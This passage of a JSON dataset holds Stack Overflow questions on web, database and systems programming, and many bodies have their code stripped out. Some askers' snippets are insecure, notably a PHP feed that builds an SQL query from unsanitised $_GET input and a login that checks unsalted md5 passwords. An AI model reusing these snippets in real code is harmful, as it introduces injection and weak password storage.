thanks in advance \n", "public function login()\n{\n $this->db->select('*');\n
$this->db->from('members');\n $this->db->where('username', $this->input-
>post('username'));\n $this->db->where('password', md5($this->input-
>post('password')));\n $query = $this->db->get();\n return $query->result();\
n}\n", "codeigniter codeigniter-2"], "3465881": ["Not handling IA32 exception?",
"What happens if i.e, in the IDT entry 0, I set the P (Present) bit to zero?\nThat
translate to not handling a possible zero division.\nSuppose the CPU does a zero
division... what happens in this case?\n", "", "handler interrupts x86"],
"5084991": ["Where do files go when the rm command is issued?", "Recently I
accidentally did on a set of files and it got me thinking where exactly these
files end up?\nThat is to say, when working with a GUI, deleted files go to the
Trash. What's the equivalent for and is there a way of undoing an command?\n",
"rm", "command-line rm trash"], "3518235": ["When will this design pattern break?",
"I was trying to write a plugin for d3.js recently and have been confused with
something perhaps trivial. There is an explanation on d3's website on how to go
about creating reusable charts. The pattern looks something like this (only the
most important details, full code is here):\nDesign Pattern 1: From d3 website\n\nI
have no doubt that this pattern is robust especially because it was suggested by
the creator of d3 himself. However, I have been using the following pattern for
some time without problems before I came across that post (similar to how plugins
are created in general):\nDesign Pattern 2: General way of creating plugins\n\nI
have been using Design Pattern 2 for some time without any problems (I agree it is
not super clean but I'm working on it). After looking at Design Pattern 1, I just
felt it had too much redundancy. For instance, look at the last blocks of code that
make the internal variables accessible ( etc.). \nPerhaps this is good practice but
it makes maintenance cumbersome because this has to be repeated for every different
chart type (as seen here in a library called
NVD3, currently under development) and increases both development effort and risk
of bugs.\nI would like to know what kind of serious problems I would face if I
continue with my pattern or how my pattern can be improved or made closer to spirit
of Design Pattern 1. I am trying to avoid changing patterns at this point because
that would require a full rewrite and will introduce new bugs into a somewhat
stable mini-library. Any suggestions? \n", "function timeSeriesChart() {\n var
margin = {top: 20, right: 20, bottom: 20, left: 20},\n ...\n area =
d3.svg.area().x(X).y1(Y),\n line = d3.svg.line().x(X).y(Y);\n\n function
chart(selection) {\n selection.each(function(data) {\n\n // Convert data to
standard representation greedily;\n // this is needed for nondeterministic
accessors.\n data = data.map(function(d, i) {\n return
[xValue.call(data, d, i), yValue.call(data, d, i)];\n });\n\n // Update
the x-scale.\n ...\n\n // Update the y-scale.\n ...\n\n //
Select the svg element, if it exists.\n var svg =
d3.select(this).selectAll(\"svg\").data([data]);\n ...\n\n // Otherwise,
create the skeletal chart.\n var gEnter =
svg.enter().append(\"svg\").append(\"g\");\n ... \n }\n\n // The x-
accessor for the path generator; xScale \u00e2\u02c6\u02dc xValue.\n function X(d)
{ }\n\n // The x-accessor for the path generator; yScale \u00e2\u02c6\u02dc
yValue.\n function Y(d) { }\n\n chart.margin = function(_) {\n if (!
arguments.length) return margin;\n margin = _;\n return chart;\n };\n\n
chart.width = function(_) {\n if (!arguments.length) return width;\n width =
_;\n return chart;\n };\n\n chart.height = function(_) {\n if (!
arguments.length) return height;\n height = _;\n return chart;\n };\n\n
chart.x = function(_) {\n if (!arguments.length) return xValue;\n xValue =
_;\n return chart;\n };\n\n chart.y = function(_) {\n if (!
arguments.length) return yValue;\n yValue = _;\n return chart;\n };\n\n
return chart;\n}\n", "javascript design-patterns d3.js"], "5276848": ["How to
detect memory leak in the linux kernel 2.6.29", "Is there a way to find out if
Linux kernel is leaking memory by running some commands? I am almost positive that
the linux kernel is leaking memory. However, the top and free -k do not reveal
much. Is there a way that I can look at how much memory kernel has allocated and
hopefully some kind of a memory map too?\nThanks for any inputs\n", "", "linux-
kernel memory-leak"], "432823": ["Openlayers - LayerRedraw() / Feature rotation /
Linestring coords", "TLDR: I have an Openlayers map with a layer called 'track' I
want to remove track and add track back in. Or figure out how to plot a triangle
based off one set of coords & a heading(see below).\n\nI have an image
'imageFeature' on a layer that rotates on load to the direction being set. I want
it to update this rotation that is set in 'styleMap' on a layer called 'tracking'.\
n\nI set the var 'stylemap' to apply the external image & rotation.\nThe
'imageFeature' is added to the layer at the coords specified.\n'imageFeature' is
removed.\n'imageFeature' is added again in its new location. Rotation is not
applied..\n\nAs the 'styleMap' applies to the layer I think that I have to remove
the layer and add it again rather than just the 'imageFeature'\nLayer:\n\
nstyleMap:\n\nNow wrapped in a timed function the imageFeature:\n\nType refers to a
lookup of 1 of 3 images.:\n\nI have tried the 'redraw()' function: but it
returns \"tracking is undefined\" or \"map.layers[2]\" is undefined.\n\nHeading is
a variable: from a JSON feed.\n\nBut so far can't get anything to work it will only
rotate the image onload. The image will move in coordinates as it should though.\
nSo what am I doing wrong with the redraw function or how can I get this image to
rotate live?\nThanks in advance\n-Ozaki\nAdd: I managed to get \n\nto sucessfully
redraw layer 2. But it still does not update the rotation. I am thinking because
the stylemap is updating. But it runs through the style map every n sec, but no
updates to rotation and the variable for heading is updating correctly if i put a
watch on it in firebug.\n\nIf I were to draw a triangle with an array of points &
linestring.\nHow would I go about facing the triangle towards the heading.\nI have
the Lon/lat of one point and the heading.\n\nLooking for any way to solve this
problem Image or Line anyone know how to do either added a 100rep bounty I am
really stuck with this.\n\n\nAdding and removing the imageFeature\n\n", " var
tracking = new OpenLayers.Layer.GML(\"Tracking\", \"coordinates.json\",\n
{ format: OpenLayers.Format.GeoJSON,\n styleMap: styleMap\n\n });\
n", "javascript jquery json extjs openlayers"], "2285430": ["SSAS/SSRS 2008: MDX
display measure IF within date range", "Building on a previous question, I am
trying to achieve the following result set to use in an SSRS 2008 report.\n\nThe
MDX query I have so far is as follows:\n\nThough the New Measure returns the same
results as the utilisation measure and does not return Nulls for the months I don't
want the values for.\n", " Utilisation New Measure\nApr-12 70.7%
70.7%\nMay-12 74.5% 74.5%\nJun-12 74.6% 74.6%\nJul-12 76.7%
76.7%\nAug-12 79.5% 79.5%\nSep-12 78.5% (null)\nOct-12 79.0%
(null)\nNov-12 79.6% (null)\nDec-12 78.9% (null)\nJan-13
79.7% (null)\nFeb-13 79.0% (null)\nMar-13 79.4% (null)\
n", "sql-server-2008 reporting-services ssas mdx"], "4410236": ["No suitable
classloader found for grab", "I have this at the beginning of a class:\n\nI'm
trying to unit test this class, but whenever I try to run JUnit 4 tests, I get this
error:\n\nAny ideas? I'm using groovy 1.7.5\n", "@Grab(group =
'org.ccil.cowan.tagsoup', module = 'tagsoup', version = '1.2')\nclass MyClass{...\
n", "groovy intellij-idea classloader junit4"], "2155390": ["Guice: injector in
provider", "I know that generally injector should be used only once in all
application (on startup). But i have following use case. I inject task
implementation for Executor, and then inside that task i have dependency (lets
say ) that has to be instantiated each time. I know the way is to inject provider
(lets say ) that will return new instance each time requested. The problem is that
has a lot of dependencies of it own (lets say , ...). Now those also need new
instance each time (because implementations could have some state, for example
counters, and on next thread run reusing same instance would be a problem). The
thing is that after provider is injected the same instance of provider is reused,
so new is always created with same and . The solution could be again to inject
and instead of Parser and in , but thats just not right, it gets too complicated
soon, because there are more dependencies. The only simple solution I see now could
be to use Injector in , that would return new instance (and new instances of
dependencies). Or maybe there is another more elegant solution in this situation?\
n", "FileHandler", "task guice provider executor"], "1776709": ["Eclipse :
Importing web application", "Hi,\n I have to import some web application into
Eclipse IDE.I know the way to import :\nFile->import->web->War file. But in my
Eclipse IDE, I am unable to find web.I clicked on File->import, then a window was
opened:\nIt contailns only :\n\nGeneral & CVS & Install & Maven&Run & Debug&Tasks &
Team & XML options only.There is now such option \"Web\". Where I can find
it?..Please help me....\n\n", "", "eclipse web"], "4814270": ["dynamic globals in
codeigniter", "What is the best practice of having dynamic globals in codeigniter?\
nI want to load a file with constants based on what key i load from the data\nI
tried libraries, but they are loaded before the models get initialized\nHow i want
it to work:\n1) User logs in\n2) php checks if this user is a regular user (from
database) or an administrator\n3) if its a regular user, i will define my global
variables accordingly\n else i will use different global variables\nThis should
happen only once, when person logs in. And this is exactly how i do it:\nThe person
logs in, php checks (in same controller) how the global variables need to be
defined. It defines them, but as soon as i call on these variables from another
controller they get erased. (I call on another controller with AJAX)\nOh and i
should also say that CI has bugs when we run multiple AJAX requests at the same
time (you cannot use CI sessions if you use simultaneous AJAX)\nSO the question
really is: How do I prevent them from being erased?\nThanks\n", "", "database
codeigniter dynamic global-variables"], "2399409": ["Calculate user\u2019s time
using TimezoneOffset", "I am trying the get the user\u2019s local time to store
into my database. I cannot use PHP function as it returns the server\u2019s time.\
nI have got the by using JavaScript:\n\nHow can I calculate the time by using
this? And what type should I use for MySQL data type?\nThanks\n", "now()",
"javascript timezone locale"], "3518234": ["GWT Eclipse not compiling latest code
changes", "Created a new GWT project in Eclipse and used the \"Generated Sample
code\" that it comes with.\nCompiled my code fine and I run it in Chrome with no
issues.\nNow, the second I change anything in the code, the changes are not being
reflected on the page.\nI clean + recompile the code. I refresh the webpage as
well. Nothing.\nPlease help!\n", "", "eclipse gwt compilation"], "5604459": ["How
to change background color of active accordion segment?", "How to change background
color of active accordion segment?\nI've created an accordion using following
code:\n\nThis works great -
However I would like my toggle-title's background color to change when it's
active.\nThis is the HTML i'm currently using:\n\nAnd this is my CSS:\n\nHelp would
be very welcome!\nThanks in advance,\nJan\n", "$(document).ready(function(){\n$
(\".toggle-content\").hide();\n$(\".toggle-title\").click(function(){\n$
(this).next(\".toggle-content\").slideToggle(\"normal\");\n});\n});\n", "jquery
colors background accordion"], "5635512": ["How can I check in a bash script if my
local git repo has changes or not", "there are some scripts that do not work
correctly if they check for changes.\nI tried it like this: \n\nIs there some kind
of boolean check if there has been changes since last commit, or how can I really
test if there are new changes to my local repository\nI'm doing all this for a
version creation script (that I found somewhere here)\n", "VN=$(git describe --
abbrev=7 HEAD 2>/dev/null) \n\ngit update-index -q --refresh \nCHANGED=$(git
diff-index --name-only HEAD --) \nif [ ! -z $CHANGED ]; \n then VN=\"$VN-mod\"
\nfi\n", "git script changed"], "1198149": ["assigning a value to a variable
with .attr", "new to jquery and cannot seem to find an answer no matter how hard I
Google. \nI may be going at this completely the wrong way, but this is as close as
I can figure from what I have found, however it does not work at all. I am
attempting to take all anchor tags with an href value beginning with \"/ric\",
which are local links, and then add onto the beginning the missing domain info. \
nFor some reason it is not allowing me to set the value of originalHref at all (or
so it seems, tried debugging by using \"alert(originalHref);\" after the variable
was declared and I do not get anything returned).\n\n",
"$('a[href^=\"/ric\"]').each(function(){ \n var originalHref = $
(this).attr(\"href\");\n this.href = this.href.replace(href,
'http://www.test.com' + originalHref);\n };\n}); \n", "jquery sharepoint
sharepoint2007 href attr"], "6013724": ["Implementing a generic interface with a
raw type", "I have a generic tree, the generic parameter is the data type stored by
the nodes:\n\nThen a visitor interface to use along with a tree transversal: \n\
nSome visitors can take advantage of generics: \n\nBut others don't, they would
fit better in a raw class \n\nBut I don't know how implement this last case, the
code above don't compile as I have to implement\nthe generic interface not the raw
one. I tried implementing \n\nwith the same result. So my question is, I'm forced
to use a generic type \n\nto implement the Visitor interface?.\nThanks.\n",
"class TreeNode<D>{ \n public D data; \n .....\n}\n", "java generics
types"], "1238614": ["JQuery expression returning the first table row as an array
of strings?", "I'm new to JQuery. I need a JQuery expression returning the first
table row as an array of strings?\n\nIn this case it should give .\n", "<table
id='table1'>\n <tr>\n <td>A</td><td>B</td><td>C</td>\n </tr>\n <tr>\n
<td>1</td><td>2</td><td>3</td>\n </tr>\n<table>\n", "jquery arrays table row"],
"680972": ["playing video in custom size screen - view in iphone", "OK.\nSome New
Query Here.\n\nSuppose user taps on a button & video begins to play. Now when video
plays, it always in full screen mode.\nBut what do i need is explained below.\
nVideo should be played in a portrait mode. \n(but normally video is played in
landscape mode ).\nHow?\n\nThanks in advance for sharing your knowledge with SO...\
n", "", "iphone uiview mpmovieplayercontroller"], "2860945": ["How do I indent
multiple lines quickly in vi?", "Should be trivial, and it might even be in the
help, but I can't figure out how to navigate it.\n", "", "vim vi indent"],
"3159232": ["Define Servlet Context in WAR-File", "How can I tell e.g. Tomcat to
use a specific context path when given my WAR-File?\nExample:\nI have a war file
created by maven build and the resulting name of the file is rather long.\nSo I do
not want the tomcat manager application to use the filename of the war as the
context.\nSupplying a context.xml in META-INF did not produce the desired results\
nI also found this in the documentation for the attribute of :\n\nThe value of
this field must not be set except when statically defining a Context in server.xml,
as it will be inferred from the filenames used for either the .xml context file or
the docBase.\n\nSo it does not seem to be the right way to tell the application-
server what the path for my WAR should be.\nAny more hints?\n", "path", "java
tomcat maven-2 tomcat6"], "1473127": ["Android widget refresh not working", "My
widget should refresh its textviews every day at 0:00. In the widget_provider.xml I
set android:updatePeriodMillis=\"1000\" but I read that the minimum update period
is 30 minutes and I have to use alarmManager for this. So i want an alarm that
triggers the refresh every day at 0:00. UpdateService.class handles the refreshing
(setting texts for textviews based on date. The class is just not called until
around half an hour after midnight)\nIn the method I am using this code:\n\n(I am
trying with actual time now)\nIs this the right place for this code? Why doesn't it
work? I am using toast messages in UpdateService.java, but i never get the toast in
the method apart from the first time, when the app in installed.\nThanks in
advance\nUpdate\nWith the help of probablykevin, i rewrite the code. I tried this
code out in an Activity and it works:\n\nHowever if I modify it for the
AppWidgetProvider class (and put it there ofc) it does not work. I never even get
the toast msg:\n\n", "public void onUpdate(Context context, AppWidgetManager
appWidgetManager, int[] appWidgetIds)", "android widget alarm"], "5283063":
["Replace string.empty and Show \"Null\" using linq to xml?", "I need to show null
or zero, instead of showing string empty.\nXml Response:\n\nHere is my code.,\n\
nHow to replace String.Empty with Value like \"Null\" or 0. Thanks in advance.\n
From Xml response if the \"FormattedPrice\" is not available for Item Two, It
Should \n show or null in the list. \n", "<Items>\n <Item>\n
<ASIN>111</ASIN>\n <ItemAttributes>\n <Title>xxx</Title>\n
<ListPrice>\n <Currency>USD</Currency>\n
<FormattedPrice>45.25</FormattedPrice>\n </ListPrice>\n
</ItemAttributes>\n <Variation>\n <Item>\n <ItemAttributes>\n
<Title>yes</Title>\n </ItemAttributes>\n </Item>\n
</Variation>\n </Item>\n <Item>\n <ASIN>222</ASIN>\n
<ItemAttributes>\n <Title>yyy</Title>\n </ItemAttributes>\n
<Variation>\n <Item>\n <ItemAttributes>\n
<Title>No</Title>\n </ItemAttributes>\n </Item>\n
</Variation>\n </Item>\n <Items>\n", "linq linq-to-sql linq-to-xml"],
"945573": ["jQuery blockUI and AJAX POST", "I am using jQuery BlockUI in a project.
For a particular user action, I want to block the UI, and then POST data to the
server. When the timeout event occurs OR the server returns, I want to unblock the
page.\nI can't seem to implement this behaviour. This is what I have so far (not
working)\n\ncan anyone spot what I may be doing wrong?\n", "$
(document).ready(function(){\n $('#test').click(function(event){\n
$.blockUI({ message: $('#mydiv') });\n\n $.ajax({\n type:
'POST',\n url: 'www.example.com',\n data: somedata,\n
dataType: \"json\"\n });\n\n setTimeout(function() {\n
$.unblockUI({\n onUnblock: function(){ \n
alert('onUnblock');\n }\n });\n },
2000);\n});\n", "jquery ajax block"], "80943": ["objective-c encryption. php
decryption", "i have client-server application (objective-c and php).\nhow can i
encrypt data on client and then decrypt on server?\nthe simpler the better\n", "",
"php objective-c encryption client-server"], "5250070": ["Disposing of objects in
an Event Receiver", "I have an event receiver running on a library. Some pretty
basic logic. Here's the gist of what I'm doing:\n\nI'm wondering if I need to be
disposing my object here that I created. I get 6 entries in the ULS log:\n\nHow
should SPWeb objects be disposed in an Event Receiver, if at all? I've even tried
putting at the end, but the entries still show up.\nEdit 1\nI mentioned that there
are 6 entries in the logs, and I believe that corresponds to the number of break
points I hit. Not all 6 of these would be making it to the code block above due to
some logic. They never instantiate an object.\n", "ItemUpdated", "best-practices
spweb dispose event-handlers"], "4071283": ["JavaScript: X.prototype.x adds x to
base class, too", "I'm fluent in C++ so I have a good background in OOP, but I'm
new to JavaScript and I'm trying to understand how to properly implement
polymorphism in JavaScript. I have read a number of tutorials and StackOverflow
questions related to this topic, but none has explained in detail how to correctly
inherit from a base class and also add new members to the child class.\n\nCuriosity
#1: If both and (and, for that matter, ) inherit from , why are their prototypes
not identical? Did and each receive its own copy of ?\n\nCuriosity #2: In both
cases, and now share the same prototype. What has changed?\n\nThe Real Question:
Changing the prototype of also changes the prototype of and the function itself.
This is all quite shocking to this C++ programmer, even though it's exactly what I
expected from the above syntax: after all, since the prototypes of and have both
been equated with , a change to one will produce an identical change to the other
two. Nevertheless, I want to use as a base class for both and and insert a new
function on that is not shared
in any way by or . How do I do that?\nFurther curiosities arise when these
objects are instantiated:\n\n and both have a function , which implies that they
still share a base class that contains a function . This base class is none other
than \u2014but an instance of does not contain , despite the evidence to the
contrary!\n", "function Obj1() {}\nfunction Obj2() {}\nfunction Obj3() {}\n\
nObj2.prototype === Obj3.prototype; // false\n", "javascript polymorphism"],
"4408844": ["Getting started using Linq, what do I need?", "Basically what the
title says. (Forgive me because I am a .NET newb)\nIn my department, we have a
server running .net 3.5 and ever since I got into this section I have been using
LINQ. However, I am starting a personal project on a different server (obviously),
so 2 questions: \nWhat do I need to get up and running with LINQ? \nWhat does the
server need to run LINQ? \nWill .net 2.0 work on the server? \nThe code behind
would be C# if that matters. \nEdit:\nWould I have to compile it in 3.5 or would
2.0 work?\n", "", "c# .net linq"], "4444647": ["How do I add dropdown list of
titles from list in the configuration part of a web part?", "I'm programming a Web
Part in Visual Studio 2010 with SharePoint 2010. It will post content that users
choose from the configurable part when you click on \"edit web part\". I want add a
drop down list in the configurable part that will show titles from a list. Based on
their choice it will display content from that list from another filed associated
with that title. \nI already know how to let users enter custom content in the
configuration part and let it show up in the web part. I'm really interested from
the point of creating that drop down list.\nThanks\n", "", "web-part visual-
studio"], "4108969": ["MySQL 5.1 Partitioning", "I have the following example
table...\n\nSay this is full of data and I want to slot in a 2011 partition at p11
and then make the p12 maxvalue is there an efficient way of doing this without
dumping and reloading the entire table?\n", "mysql> CREATE TABLE part_date3\n ->
( c1 int default NULL,\n -> c2 varchar(30) default NULL,\n -> c3 date
default NULL) engine=myisam\n -> partition by range (to_days(c3))\n ->
(PARTITION p0 VALUES LESS THAN (to_days('1995-01-01')),\n -> PARTITION p1 VALUES
LESS THAN (to_days('1996-01-01')) ,\n -> PARTITION p2 VALUES LESS THAN
(to_days('1997-01-01')) ,\n -> PARTITION p3 VALUES LESS THAN (to_days('1998-01-
01')) ,\n -> PARTITION p4 VALUES LESS THAN (to_days('1999-01-01')) ,\n ->
PARTITION p5 VALUES LESS THAN (to_days('2000-01-01')) ,\n -> PARTITION p6 VALUES
LESS THAN (to_days('2001-01-01')) ,\n -> PARTITION p7 VALUES LESS THAN
(to_days('2002-01-01')) ,\n -> PARTITION p8 VALUES LESS THAN (to_days('2003-01-
01')) ,\n -> PARTITION p9 VALUES LESS THAN (to_days('2004-01-01')) ,\n ->
PARTITION p10 VALUES LESS THAN (to_days('2010-01-01')),\n -> PARTITION p11
VALUES LESS THAN MAXVALUE );\nQuery OK, 0 rows affected (0.00 sec)\n", "mysql
partitioning"], "5181347": ["Where can I find specifications of my ethernet card?",
"As the title says, I've got an ethernet card but not enough specs information.\nI
have tried looking in Device Manager -> Properties but no dice. Google searches
haven't revealed much.\nThe card is an \nAtheros AR8121/AR8113/AR8114 PCI-E
Ethernet Controller(NDIS6.20)\n...and I'm specifically looking for maximum data
transfer rate of the card.\nAny links or ideas?\n", "", "ethernet lan pci
specifications"], "642881": ["Fullcalendar event using PHP to generate feed from
MySql table", "I Have a ridiculous problem but even after an entire lurking day I
cannot solve it. \nI have a Fullcalendar installation and i'm trying to retrieve
events data from a file (events.php); i load data via Php from a MySql table. \
nProblem: \nevents won't display in my calendar if i generate the feed
automatically via Php. \nBUT\nif i write down in my file the EXACT Json line, it
does work properly. \nExample:\nthis is my events.php:\n\nthat will produce:\n\nand
it won't display anything.\nBut if i copy and paste it into the file \"events.php\"
and comment the echo line:\n\nit does works. \nEDIT: My fullcalendar implementation
is:\n\nIt's kinda foolish, IMHO. \nNotes: \n\nI read that when i try to parse just
one event i can have problem with square brackets: that's not my situation, i'm
trying it with two events;\nI first thought about character encoding, but i've
tried text/plain and application/json, both with no luck;\nthe surplus of slashes
in the url is due to a lack of Gn'R sleaze hard rock style in the past few years.
Lol XD (I mean: that's not the point)\nUPDATE: I tried also to create a txt with
fwrite and write the json string into the file. No luck. The only way to get the
work done seems to write the code by hand into the file. Well, i might consider it
as a job offer, maybe. Lol. \n\nAny ideas? Thank you in advance :)\nP.s.: Sorry for
italian comments and variables in the code, but that's not the point ;)\n", "<?php
session_start(); \n\nheader(\"Content-Type: application/json\");\n\n//if (!
isset($id_azienda)) die();\n\n$id_azienda = $_GET['id_azienda'];\n\n// Includo la
classe\nrequire_once(\"./db.class.php\");\n\n// Creo l'oggetto database\n$db = new
DataBase();\n\n// Apro la connessione al database e ne memorizzo il risultato in
$open\n$open = $db->OpenConnection(); \n\n$eventiQuery = \"SELECT * FROM
scadenzario WHERE id_azienda ='$id_azienda'\";\n\n// Eseguo la query e ne memorizzo
il risultato in $result\n$eventiList = $db->Query($eventiQuery);\n\n$numEventi =
$db->NumRows($eventiQuery);\n\n// Chiudo la connessione al database e ne memorizzo
il risultato in $close\n$close = $db->CloseConnection();\n\n/* ************* FINE
CARICAMENTO DATI DAL DATABASE ***************** */\n\n\nwhile ($record =
mysql_fetch_array($eventiList)) {\n $event_array[] = array(\n 'id' =>
$record['id_scadenzario'],\n 'title' => $record['titolo'],\n 'start'
=> $record['data_inizio'],\n 'url' => $record['url']\n );\n}\n\necho
json_encode($event_array);\n?>\n", "php mysql json fullcalendar feed"], "4436499":
["MacOSX Mountain Lion and raw device access", "It appears that when a CDROM is
mounted under MacOSX 10.8 the owner:group of raw device is 'root:operator', but it
was currently logged in user under MacOSX 10.7 (also with standard mount option
'noowners').\nI need raw device read-only access without admin rights to dump the
underlying iso9660 file when it is mounted, this is no more possible.\nOn Mac OSX
10.7.4 :\n\nfabien can read raw device rdisk1s0.\nOn Mac OSX 10.8.3 :\n\nfabien can
not read raw device rdisk3s0 (rdisk3 can be opened but does not seem to contain
iso).\nHaving done hard researchs one the web (but information is pretty rare), I
found that mountain lion seems to have a regression on this point (virtual box has
problems also to give raw device to a VM for example).\nNote that the CDROM is
actually a USB drive, but the same applies for a physical CDROM.\nAnybody knows if
something could be configured somewhere to change owner of raw mounted USB
devices ? The best I can imagine would be to claim for admin rights only once, and
keep a persistent configuration on the local machine (adding 'operator' group to
current user is not possible, as ALL raw devices would be readable)\n", "catalin-
lp:~ fabien$ ls -l /dev/rdisk1*\ncr--r----- 1 fabien operator 14, 6 24 avr
09:22 /dev/rdisk1\ncr--r----- 1 fabien operator 14, 7 24 avr 09:22
/dev/rdisk1s0\n", "osx permissions usb osx-mountain-lion"], "616318":
["Every \"setter\" method requires a \"getter\" method in Scala?", "Scala
programmer should have known that this sort of writing : \n\nequals to\n\nin
effect. But if you comment the getter method , will cause a compilation error,
saying \n\nCould anyone explain why ? \n", "class Person{\n var id = 0 \n}\nvar
p = new Person \np.id \np.id = 2 \n", "scala syntax setter getter"], "628723":
["Does the basic embedded Youtube video player detect available bandwidth?", "Let's
say that I upload an HD-sized video to Youtube and allow embedding. I then embed
that video and a basic player in a web page. A mobile device then requests that
web page (e.g. over a 3G connection).\nDoes Youtube send the massive HD-sized video
down to that little tiny screen thru that little tiny pipe or does it detect the
device and send an appropriately sized stream to that mobile device player?\nHave
found very little out there that explains how Youtube detects devices and sends.
If one size fits all, then I need to upload multiple different-sized videos so that
mobile devices receive a mobile sized video.\nCall me curious!\nJB\n", "", "mobile
video device"], "3519909": ["scheme functions", "I have defined :\n\nand also :\n\
nThese are the functions I have written:\n\nThis is the interpreter for string:\n\
nWhen I enter this line to check whether it works:\n\nI get an error saying:\n\
nWhat would I have to do for ? I have no clue. \nhere is the actual question asked
as requested.\n\nExtend the interpreter with a \u201cstring\u201d datatype. You
will need to write functions:\nis-string?\ninterpret-string\nand modify the
interpret function to support the string datatype.\nAlso add two functions to work
with strings within the interpreted language:\nstring-equals? to check if two given
strings are the same.\nstring-join to return a new string formed by joining two
strings togeter.\nMake sure your functions pass the following tests:\n(check-expect
(is-string-equals? \u2019(string-equals \"abc\" \"abc\"))\n #t)\
n(check-expect (interpret-string-equals \u2019(string-equals \"abc\" \"abc\")
(make-env))\n #t)\n\n", "is-string?", "string function scheme"],
"3525443": ["TortoiseGit + Windows 8 Clone issue with puttyLink", "I am
able to do a git clone successfully in Windows 7 using a putty key but when I try
to do the same in Windows 8, I get a prompt to \"Login as:\".\nBoth are using same
versions of Git and Tortoise Git.\nTortoiseGit 1.7.14.0\nGit Version
1.8.0.msysgit.0\n", "", "git windows-8 tortoisegit"], "1791101": ["The background
image of my button won't display in simulator (x code)", "(I'm using xcode 4) I'm
trying to add a button and give it an image or background image, so I put in the
image through the attributes inspector. However when I test the app in simulator
the button is just blank with no image. Please Help\n", "", "xcode image button"],
"5805725": ["Keeping a jQuery .getJSON() connection open and waiting while in body
of a page?", "I'm writing a basic push messaging system. A small change has caused
it to stop workingly properly. Let me explain. In my original version, I was able
to put the code in the of a document something like this:\n\nThis worked nicely
and would keep the connection open even if the server return null (which it would
after say a 2 minute timeout). It would just keep calling the getJSON function
over and over indefinitely. Happy Panda. \nNow, I must put the code segment in
between tags. Access to the $(document).ready() function pretty much won't
work. \n\nThis works... for a while. Shortly thereafter, it will stop calling
check4Updates and get into an infinite loop and use 100% processor time. \nI'm
trying to get it so that check4Updates is repeatedly called until the page is
closed. If anyone has any insights as to why my simple change is no longer
functioning as expected, PLEASE let me know. Thank you for taking the time to read
and help me out. \nBest Regards, \nVan Nguyen\n", "<head>\n
...text/javascript\">\n $(document).ready(function(){\n $
(document).ajaxStop(check4Updates);\n check4Updates();\n });\n\n function
check4Updates(){\n $.getJSON('%PATH%', callback);\n };\n...\n</head>\n",
"javascript jquery jquery-ajax comet server-push"], "3906806": ["Default umask for
uploaded file in php-fpm", "Hello\nI've installed nginx and php-fpm. I run
wordpress site on it. Everything works well, but when i upload image in wordpress
default permission is 600 so i can not access it ! Nginx give 403 errors. I running
multi php-fpm pool!\nThank in advance!\n", "", "nginx wordpress php-fpm"],
"4411372": ["Which library should I use?", "I need to design an interface, where
user can drag drop elements into page and design a web page. User will be
restricted to add elements only to content area and elements which are added to
content area also can be nested. For example, an image can be nested inside a
paragraph. \nI have tried using jquery and was successful up to some extent. \nI
would appreciate if some one helps me to choose a stable, cross browser compatible
library for this functionality.\nThanks in Advance\n", "", "jquery jquery-ui cross-
browser"], "5311730": ["Why do I get a compilation error when casting a sealed
class to an interface it might implement?", "The following code gives a compiler
error CS0030 (compiled with the C# compiler of VS 2012), although the cast might
succeed at runtime. Removing the keyword, using an cast, or adding an
intermediate cast to makes the error go away.\n\nIt seems to me the compiler uses
a heuristic for sealed classes only that is too strict in the case of generic
interface implementations.\nIs it really too strict (in the sense of a bug), or is
there a good reason for this error?\nUpdate: A clarification to my question: The
compiler cannot determine whether there is a relationship between and at compile
time. The cast would succeed, at runtime, if is the same or a base class of , and
it would fail in all other cases. This is true no matter whether is sealed or
not.\nThe C# compiler does not normally prevent casts that might succeed at
runtime. (For example, I can cast an instance of static type to , causing a
runtime exception if the instance doesn't really implement that interface.) Why
does it do so in this case?\n", "sealed", "c# generics compiler-errors"],
"5558241": ["If ord$(a)=m$, ord$(b)=n$ then does there exist $c$ such that ord $
(c)=lcm(m,n)$?", "\nPossible Duplicate:\nOrder of elements in abelian groups \n\n\
nLet $G$ be an abelian group and suppose that $G$ has elements of orders $m$ and
$n$, respectively. Prove that $G$ has an element whose order is the least common
multiple of $m$ and $n$.\n\nI've attempted this problem for quite some time, but
didn't seem to get anywhere.\nFirst, let $a$ and $b$ be the elements whose orders
are $m$ and $n$, respectively. I guessed that we can find the element of order
$lcm(m,n)$ explicitly, instead of simply proving its existence. Furthermore, I also
guessed that the element can be expressed in the form $a^kb^l$, because the
statement must also hold when $G$ is generated by $a$ and $b$.\nThen I let $k$ be
the smallest positive integer such that $a^k$ is a power of $b$, say $a^k=b^l$.
Then I proved that $l$ is also the smallest positive integer such that $b^l$ is a
power of $a$, and that $ml=nk$. I'm not sure whether it's correct though.\nThen I
tried to find the order of ab. I can prove that the order is divisible by $\\
frac{lcm(m,n)}{\\gcd(m,n)}$, but I can't prove whether it is equal to $lcm(m,n)$.
Apparently, taking any $a^ib^j$ won't be any better. And now, I'm at wits end.\
nPlease tell me whether I'm on the right path. If not, please give me some adequate
hints so I can work on it.\n", "", "group-theory"], "5903611": ["Inject AngularJS
service into global scope", "Is it possible to get an angular js service into the
global scope to use in the JS Debugging console? What I'm going for is some very
low tech, quick and dirty, testing. Something like:\n\nand have it do something. \
nBut I keep getting \n\n", "var myService = angular.injector().get('myService');\
nmyService.doSomething();\n", "angularjs angularjs-service"], "428109": ["How do I
make the new Google calendar event text wrap around using CSS?", "I can't read the
full title of my Google Calendar events, because they're truncated to fit in the
day box. And so a printout isn't as useful as it could be.\nThere used to be a
greasemonkey plugin that changed the CSS to fix this, but Google have redesigned
the calendar, and now the titles overlap each other and can't be read properly.\
nWhat CSS do I now need to add to the page to make the event titles wrap nicely?
This is the existing code of the Greasemonkey plugin:\n\nHere is the Greasemonkey
plugin itself: http://userscripts.org/scripts/show/97755 -- It can be seen working
correctly if you revert Google calendar to 'classic view', but fails to work for
the new view.\nUPDATE:\nI've saved off an example of a Google calendar, showing two
test events:\n\nhttp://pastebin.com/wx5Qm8yx - the HTML code for the calendar\
nhttp://pastebin.com/UZnLp2Pj - The existing stylesheet, rename this to style.css\
n\n", "function buildStyle()\n{\n var st = \"div.rb-n, span, nobr { white-space:
normal; }\";\n var dochead = document.getElementsByTagName(\"head\")[0];\n
var stEl = document.createElement(\"style\");\n
stEl.setAttribute(\"type\", \"text/css\");\n stEl.innerHTML = st;\n
dochead.appendChild(stEl);\n}\n\nwindow.addEventListener(\"load\", function(e) {\n
